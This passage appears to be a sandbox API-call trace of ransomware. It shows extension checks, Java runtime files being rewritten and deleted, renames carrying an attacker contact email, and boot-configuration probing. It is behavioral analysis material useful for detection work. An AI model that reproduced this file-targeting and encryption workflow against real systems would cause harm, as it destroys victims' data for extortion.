4 [0210.514] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0210.514] lstrlenW (lpString=".zip") returned 4 [0210.514] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.514] lstrlenW (lpString=".rar") returned 4 [0210.514] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.514] lstrlenW (lpString=".bz2") returned 4 [0210.514] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.514] lstrlenW (lpString=".7z") returned 3 [0210.514] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0210.514] lstrlenW (lpString=".dbf") returned 4 [0210.514] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0210.514] lstrlenW (lpString=".1cd") returned 4 [0210.514] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.514] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0210.514] lstrlenW (lpString=".jpg") returned 4 [0210.514] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0210.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0210.515] lstrlenW (lpString=".doc") returned 4 [0210.515] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.515] lstrlenW (lpString=".docx") returned 5 [0210.515] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.515] lstrlenW (lpString=".pdf") returned 4 [0210.515] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.515] lstrlenW (lpString=".xls") returned 4 [0210.515] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.515] lstrlenW (lpString=".xlsx") returned 5 [0210.515] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.515] lstrlenW (lpString=".ppt") returned 4 [0210.515] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0210.515] lstrlenW (lpString=".zip") returned 4 [0210.515] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.515] lstrlenW (lpString=".rar") returned 4 [0210.515] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.515] lstrlenW (lpString=".bz2") returned 4 [0210.515] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.515] lstrlenW (lpString=".7z") returned 3 [0210.515] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0210.515] lstrlenW (lpString=".dbf") returned 4 [0210.515] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0210.515] lstrlenW (lpString=".1cd") returned 4 [0210.515] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.515] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71 [0210.515] lstrlenW (lpString=".jpg") returned 4 [0210.516] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.516] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0210.516] lstrlenW (lpString="dnsns.jar") returned 9 [0210.516] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0210.516] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=8286) returned 1 [0210.516] CloseHandle (hObject=0x364) returned 1 [0210.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0210.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.516] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0210.517] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.517] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.517] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0210.517] GetLastError () returned 0x0 [0210.517] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x205e, lpOverlapped=0x0) returned 1 [0210.519] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0x2060, lpOverlapped=0x0) returned 1 [0210.520] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x0, lpOverlapped=0x0) returned 1 [0210.520] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0xe6, lpOverlapped=0x0) returned 1 [0210.520] SetEndOfFile (hFile=0x370) returned 1 [0210.520] CloseHandle (hObject=0x370) returned 1 [0210.520] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.520] SetEndOfFile (hFile=0x364) returned 1 [0210.521] CloseHandle (hObject=0x364) returned 1 [0210.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.522] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1 [0210.522] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0210.522] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0210.522] lstrlenW (lpString=".doc") returned 4 [0210.522] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0210.522] lstrlenW (lpString=".docx") returned 5 [0210.522] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0210.522] lstrlenW (lpString=".pdf") returned 4 [0210.522] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0210.522] lstrlenW (lpString=".xls") returned 4 [0210.522] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0210.522] lstrlenW (lpString=".xlsx") returned 5 [0210.522] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0210.522] lstrlenW (lpString=".ppt") returned 4 [0210.522] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0210.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0210.523] lstrlenW (lpString=".zip") returned 4 [0210.523] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0210.523] lstrlenW (lpString=".rar") returned 4 [0210.523] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0210.523] lstrlenW (lpString=".bz2") returned 4 [0210.523] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0210.523] lstrlenW (lpString=".7z") returned 3 [0210.523] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0210.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0210.523] lstrlenW (lpString=".dbf") returned 4 [0210.523] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0210.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0210.523] lstrlenW (lpString=".1cd") returned 4 [0210.523] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0210.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0210.523] lstrlenW (lpString=".jpg") returned 4 [0210.523] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0210.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0210.523] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0210.523] lstrlenW (lpString=".doc") returned 4 [0210.523] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0210.523] lstrlenW (lpString=".docx") returned 5 [0210.523] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0210.523] lstrlenW (lpString=".pdf") returned 4 [0210.523] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0210.523] lstrlenW (lpString=".xls") returned 4 [0210.523] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0210.523] lstrlenW (lpString=".xlsx") returned 5 [0210.523] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0210.523] lstrlenW (lpString=".ppt") returned 4 [0210.524] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0210.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0210.524] lstrlenW (lpString=".zip") returned 4 [0210.524] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0210.524] lstrlenW (lpString=".rar") returned 4 [0210.524] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0210.524] lstrlenW (lpString=".bz2") returned 4 [0210.524] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0210.524] lstrlenW (lpString=".7z") returned 3 [0210.524] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0210.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0210.524] lstrlenW (lpString=".dbf") returned 4 [0210.524] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0210.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0210.524] lstrlenW (lpString=".1cd") returned 4 [0210.524] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0210.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0210.524] lstrlenW (lpString=".jpg") returned 4 [0210.524] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0210.524] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0210.524] lstrlenW (lpString="jaccess.jar") returned 11 [0210.524] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0210.525] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=44516) returned 1 [0210.525] CloseHandle (hObject=0x364) returned 1 [0210.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 0x20 [0210.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.525] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0210.525] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.525] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.525] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0210.526] GetLastError () returned 0x0 [0210.526] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0xade4, lpOverlapped=0x0) returned 1 [0210.528] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0xadf0, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0xadf0, lpOverlapped=0x0) returned 1 [0210.529] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38efecc, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesRead=0x38efecc*=0x0, lpOverlapped=0x0) returned 1 [0210.529] WriteFile (in: hFile=0x370, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x38efc94, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efc94*=0xea, lpOverlapped=0x0) returned 1 [0210.529] SetEndOfFile (hFile=0x370) returned 1 [0210.530] CloseHandle (hObject=0x370) returned 1 [0210.530] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0210.530] SetEndOfFile (hFile=0x364) returned 1 [0210.531] CloseHandle (hObject=0x364) returned 1 [0210.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.531] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jaccess.jar")) returned 1 [0210.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0210.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0210.532] lstrlenW (lpString=".doc") returned 4 [0210.532] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0210.532] lstrlenW (lpString=".docx") returned 5 [0210.532] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0210.532] lstrlenW (lpString=".pdf") returned 4 [0210.532] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0210.532] lstrlenW (lpString=".xls") returned 4 [0210.532] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0210.532] lstrlenW (lpString=".xlsx") returned 5 [0210.532] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0210.532] lstrlenW (lpString=".ppt") returned 4 [0210.532] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0210.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0210.532] lstrlenW (lpString=".zip") returned 4 [0210.532] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0210.532] lstrlenW (lpString=".rar") returned 4 [0210.532] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0210.532] lstrlenW (lpString=".bz2") returned 4 [0210.532] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0210.532] lstrlenW (lpString=".7z") returned 3 [0210.532] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0210.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0210.532] lstrlenW (lpString=".dbf") returned 4 [0210.532] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0210.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0210.532] lstrlenW (lpString=".1cd") returned 4 [0210.532] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0210.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0210.533] lstrlenW (lpString=".jpg") returned 4 [0210.533] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0210.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0210.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0210.533] lstrlenW (lpString=".doc") returned 4 [0210.533] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0210.533] lstrlenW (lpString=".docx") returned 5 [0210.533] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0210.533] lstrlenW (lpString=".pdf") returned 4 [0210.533] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0210.533] lstrlenW (lpString=".xls") returned 4 [0210.533] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0210.533] lstrlenW (lpString=".xlsx") returned 5 [0210.533] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0210.533] lstrlenW (lpString=".ppt") returned 4 [0210.533] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0210.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0210.533] lstrlenW (lpString=".zip") returned 4 [0210.533] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0210.533] lstrlenW (lpString=".rar") returned 4 [0210.533] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0210.533] lstrlenW (lpString=".bz2") returned 4 [0210.533] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0210.533] lstrlenW (lpString=".7z") returned 3 [0210.533] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0210.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0210.533] lstrlenW (lpString=".dbf") returned 4 [0210.533] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0210.533] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0210.533] lstrlenW (lpString=".1cd") returned 4 [0210.534] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0210.534] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jaccess.jar") returned 54 [0210.534] lstrlenW (lpString=".jpg") returned 4 [0210.534] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0210.534] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0210.534] lstrlenW (lpString="jfxrt.jar") returned 9 [0210.534] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0210.534] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x38eff14 | out: lpFileSize=0x38eff14*=18246297) returned 1 [0210.534] CloseHandle (hObject=0x364) returned 1 [0210.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20 [0210.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[seavays@aol.com].save")) returned 1 [0210.536] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0210.536] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efc64 | out: lpNewFilePointer=0x0) returned 1 [0210.537] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efc24 | out: lpNewFilePointer=0x0) returned 1 [0210.537] ReadFile (in: hFile=0x364, lpBuffer=0x3dfb058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38efc30, lpOverlapped=0x0 | out: lpBuffer=0x3dfb058*, lpNumberOfBytesRead=0x38efc30*=0x40000, lpOverlapped=0x0) returned 1 [0211.005] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x5cce33, lpNewFilePointer=0x0, dwMoveMethod=0x38efc24 | out: lpNewFilePointer=0x0) returned 1 [0211.005] ReadFile (in: hFile=0x364, lpBuffer=0x3e3b058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38efc30, lpOverlapped=0x0 | out: lpBuffer=0x3e3b058*, lpNumberOfBytesRead=0x38efc30*=0x40000, lpOverlapped=0x0) returned 1 [0211.022] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38efc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.022] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x1126a99, lpNewFilePointer=0x0, dwMoveMethod=0x38efc24 | out: lpNewFilePointer=0x0) returned 1 [0211.023] ReadFile (in: hFile=0x364, lpBuffer=0x3e7b058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38efc30, lpOverlapped=0x0 | out: lpBuffer=0x3e7b058*, lpNumberOfBytesRead=0x38efc30*=0x40000, lpOverlapped=0x0) returned 1 [0211.048] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38efec0 | out: lpNewFilePointer=0x0) returned 1 [0211.049] WriteFile (in: hFile=0x364, lpBuffer=0x3dfb020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x38efca8, lpOverlapped=0x0 | out: lpBuffer=0x3dfb020*, lpNumberOfBytesWritten=0x38efca8*=0xc00fe, lpOverlapped=0x0) returned 1 Thread: id = 100 os_tid = 0x434 [0205.693] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3550968 [0205.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3560970 [0205.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617260 [0205.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x65e318 [0205.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617278 [0205.694] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3f05020 [0205.698] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617428 [0205.698] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x617428, Size=0x20) returned 0x5fe9e0 [0205.698] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6173e0 [0205.698] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6173e0, Size=0x20) returned 0x5fed28 [0205.699] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0205.699] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0205.699] Wow64DisableWow64FsRedirection (in: OldValue=0x3a2ff50 | out: OldValue=0x3a2ff50*=0x0) returned 1 [0205.699] lstrlenW (lpString="kernel32.dll") returned 12 [0205.699] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe9e0 | out: hHeap=0x5c0000) returned 1 [0205.699] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0205.699] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fed28 | out: hHeap=0x5c0000) returned 1 [0205.699] Sleep (dwMilliseconds=0x64) [0205.994] Sleep (dwMilliseconds=0x64) [0206.222] lstrlenW (lpString="BCD") returned 3 [0206.222] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.222] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0206.222] lstrlenW (lpString="C:\\Boot\\BCD") 